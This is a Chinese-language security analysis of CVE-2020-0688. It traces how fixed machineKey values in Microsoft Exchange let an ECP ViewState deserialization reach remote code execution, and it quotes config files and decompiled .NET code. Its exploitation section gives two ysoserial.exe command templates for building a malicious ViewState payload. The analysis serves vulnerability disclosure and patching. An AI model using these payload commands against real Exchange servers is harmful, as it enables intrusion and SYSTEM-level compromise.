查看原文
其他

CVE-2020-0688 Exchange 远程代码执行分析

晴天 代码卫士 2022-05-23

聚焦源代码安全,网罗国内外最新资讯!


关于如何利用该漏洞,ZDI的博客中已有介绍。但是关于这个漏洞的细节还未看到有更多的披露。本篇将补充分析该漏洞的细节。


01. 漏洞简介


Microsoft Exchange Server是微软公司推出的一套商业电子邮件系统,因其稳定、易用、安全等特点在全球多个行业被广泛地应用。
由于Exchange Server在安装部署时未能创建应用唯一的加密密钥,导致Exchange Server在反序列化处理请求中的 __VIEWSTATE 数据触发远程代码执行。Exchange 是以SYSTEM权限启用的IIS,因此普通登录用户也可通过反序列化达到提权的目的,进而可以获取域管理的权限。

漏洞基本信息

  • 公告:https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0688

  • 作者: Anonymous working with Trend Micro's Zero Day Initiative

  • 环境: Windows Server 2016 Standard; Microsoft Exchange Server 2016 Cumulative Update 15;.NET Framework 4.0;

  • 工具: dnSpy v6.1.3

  • 补丁: 请参考公告中提供的补丁信息

**注:本篇文章仅在上述条件下调试分析


02. 漏洞分析


(1)消息认证码校验简述
在ASP.NET Web应用程序中通过 __VIEWSTATE 参数维持对象的ViewState视图状态。.NET Framework会对 __VIEWSTATE 参数进行加密和签名。如果启用了消息认证码(message authentication code)验证机制,则会获取相关的 machineKey 配置中的参数值去验证签名。具体机制可能会在之后的文章中补充1。其中相关的密钥一般存储在web.config或者machine.config配置文件中。
这里我们可以查看Exchange Server 2016中的配置文件进行说明,在 pages 标签中的 enableViewStateMac 属性值设置为true即启用了消息认证码验证机制。相应的配置信息则在 machineKey 标签中,其中包括验证密钥validationKey、解密密钥 decryptionKey 以及加解密算法。
<?xml version="1.0"?><configuration>[...] <pages theme="default" validateRequest="true" enableEventValidation="false" enableSessionState="false" enableViewState="false" enableViewStateMac="true" autoEventWireup="false"> <controls> <add tagPrefix="asp" namespace="System.Web.UI" assembly="System.Web.Extensions, Version=3.5.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" /> <add tagPrefix="ajaxToolkit" namespace="AjaxControlToolkit" assembly="AjaxControlToolkit" /> <add tagPrefix="ecp" namespace="Microsoft.Exchange.Management.ControlPanel" assembly="Microsoft.Exchange.Management.ControlPanel" /> <add tagPrefix="ecp" namespace="Microsoft.Exchange.Management.ControlPanel.WebControls" assembly="Microsoft.Exchange.Management.ControlPanel" /> <add tagPrefix="ecp" namespace="Microsoft.Exchange.Management.ControlPanel.Reporting" assembly="Microsoft.Exchange.Management.ControlPanel" /> <add tagPrefix="asp" namespace="System.Web.UI.WebControls" assembly="System.Web.Extensions, Version=3.5.0.0, Culture=neutral, PublicKeyToken=31BF3856AD364E35" /> <add tagPrefix="CsmSdk" namespace="Microsoft.Office.CsmSdk.Controls" assembly="Microsoft.Office.CsmSdk" /> </controls> </pages>[...]<system.web> <machineKey validationKey="" decryptionKey="" validation="SHA1" decryption="3DES" /></system.web>[...]</configuration>

(2)ViewState 反序列化过程
一般情况ASPX文件在.NET Framework下运行会生成临时的文件,以default.aspx文件为例,会生成如下图的dll,通过dnSpy反编译如下图所示。当前 default_aspx 类通过多重继承,最终继承 System.Web.dllSystem.Web.UI 命名空间下的Page类。


在处理请求的时候会调用System.Web.dll!System.Web.UI.Page.ProcessRequestMain 方法.
//Code snippet 0private void ProcessRequestMain(bool includeStagesBeforeAsyncPoint, bool includeStagesAfterAsyncPoint){[...] if (EtwTrace.IsTraceEnabled(5, 4)) { EtwTrace.Trace(EtwTraceType.ETW_TYPE_PAGE_LOAD_VIEWSTATE_ENTER, this._context.WorkerRequest); } this.LoadAllState();//[0] if (EtwTrace.IsTraceEnabled(5, 4)) { EtwTrace.Trace(EtwTraceType.ETW_TYPE_PAGE_LOAD_VIEWSTATE_LEAVE, this._context.WorkerRequest); }[...]}

ProcessRequestMain 方法的[0]处调用 LoadAllState 方法载入请求中的各种状态。
//Code snippet 1private void LoadAllState(){ object obj = this.LoadPageStateFromPersistenceMedium();//[1][...] }

紧接着调用 LoadPageStateFromPersistenceMedium 方法[1]中的load 方法[2]
//Code snippet 2protected internal virtual object LoadPageStateFromPersistenceMedium(){ PageStatePersister pageStatePersister = this.PageStatePersister;//[3] try { pageStatePersister.Load();//[2] } catch (HttpException ex) { if (this._pageFlags[8]) { return null; } if (this.ShouldSuppressMacValidationException(ex))//[5] { if (this.Context != null && this.Context.TraceIsEnabled) { this.Trace.Write("aspx.page", "Ignoring page state", ex); } this.ViewStateMacValidationErrorWasSuppressed = true; return null; } ex.WebEventCode = 3002; throw; } return new Pair(pageStatePersister.ControlState, pageStatePersister.ViewState);}        

调用load方法的对象是PageStatePersister 抽象类[3]HiddenFieldPageStatePersister 实现了该抽象类。最终的反序列化在[4]处触发。
//Code snippet 3public class HiddenFieldPageStatePersister : PageStatePersister { public HiddenFieldPageStatePersister(Page page) : base(page) { } public override void Load() { if (base.Page.RequestValueCollection == null) { return; } string text = null; try { text = base.Page.RequestViewStateString; if (!string.IsNullOrEmpty(text) || !string.IsNullOrEmpty(base.Page.ViewStateUserKey)) { Pair pair = (Pair)Util.DeserializeWithAssert(base.StateFormatter2, text, Purpose.WebForms_HiddenFieldPageStatePersister_ClientState);//[4] base.ViewState = pair.First; base.ControlState = pair.Second; } } catch (Exception ex) { if (ex.InnerException is ViewStateException) { throw; } ViewStateException.ThrowViewStateError(ex, text); }     }

(3)非必要的__VIEWSTATEGENERATOR参数
在我进行审计代码的时发现,触发反序列化漏洞时并不需要__VIEWSTATEGENERATOR 参数。具体验证该参数的代码实现请大家参看代码片段2的[5]处。事实上,在代码片段3中触发反序列化之后会抛出异常,最后并没有执行到[6]处。
internal bool ShouldSuppressMacValidationException(Exception e){ if (!EnableViewStateMacRegistryHelper.SuppressMacValidationErrorsFromCrossPagePostbacks) { return false; } if (ViewStateException.IsMacValidationException(e)) { if (EnableViewStateMacRegistryHelper.SuppressMacValidationErrorsAlways) { return true; } if (!string.IsNullOrEmpty(this.ViewStateUserKey)) { return false; } if (this._requestValueCollection == null) { return true; } if (!this.VerifyClientStateIdentifier(this._requestValueCollection["__VIEWSTATEGENERATOR"]))//[6] { return true; } } return false;}

(4)利用方式
  • 通过__VIEWSTATEGENERATOR 的值(generator)生成payload
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "command" --validationalg="SHA1" --validationkey="" --generator="" --viewstateuserkey="" --isdebug -islegacy
  • 通过应用路径(apppath)和文件路径(path)生成payload

并不是所有的aspx页面都会在response包中返回 __VIEWSTATEGENERATOR 的值,一般情况,Exchange的应用路径(apppath)和文件路径(path)是相对固定的。当然已知这两个路径以及配置信息是可以推算出generator的值2。结合web.config 配置文件中的信息和ViewState 反序列过程中的分析,针对该漏洞ecp目录下可访问的aspx文件均可达到RCE的效果

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "command" --validationalg="SHA1" --validationkey="" --path="" --apppath="" --viewstateuserkey="" --isdebug -islegacy


03. 参考引用


  • https://www.thezdi.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys

  • https://github.com/pwntester/ysoserial.net


04. 更新信息


修订时间

简述

2020.02.29

第一版分析




推荐阅读

微软2月修复99个漏洞,含1个 0day

奇安信代码卫士帮助微软修复多个高危漏洞,获官方致谢和奖金



题图:Pixabay License


转载请注明“转自奇安信代码卫士 www.codesafe.cn”。



奇安信代码卫士 (codesafe)

国内首个专注于软件开发安全的产品线。




 点个“在看”,bounty 不停~    


您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存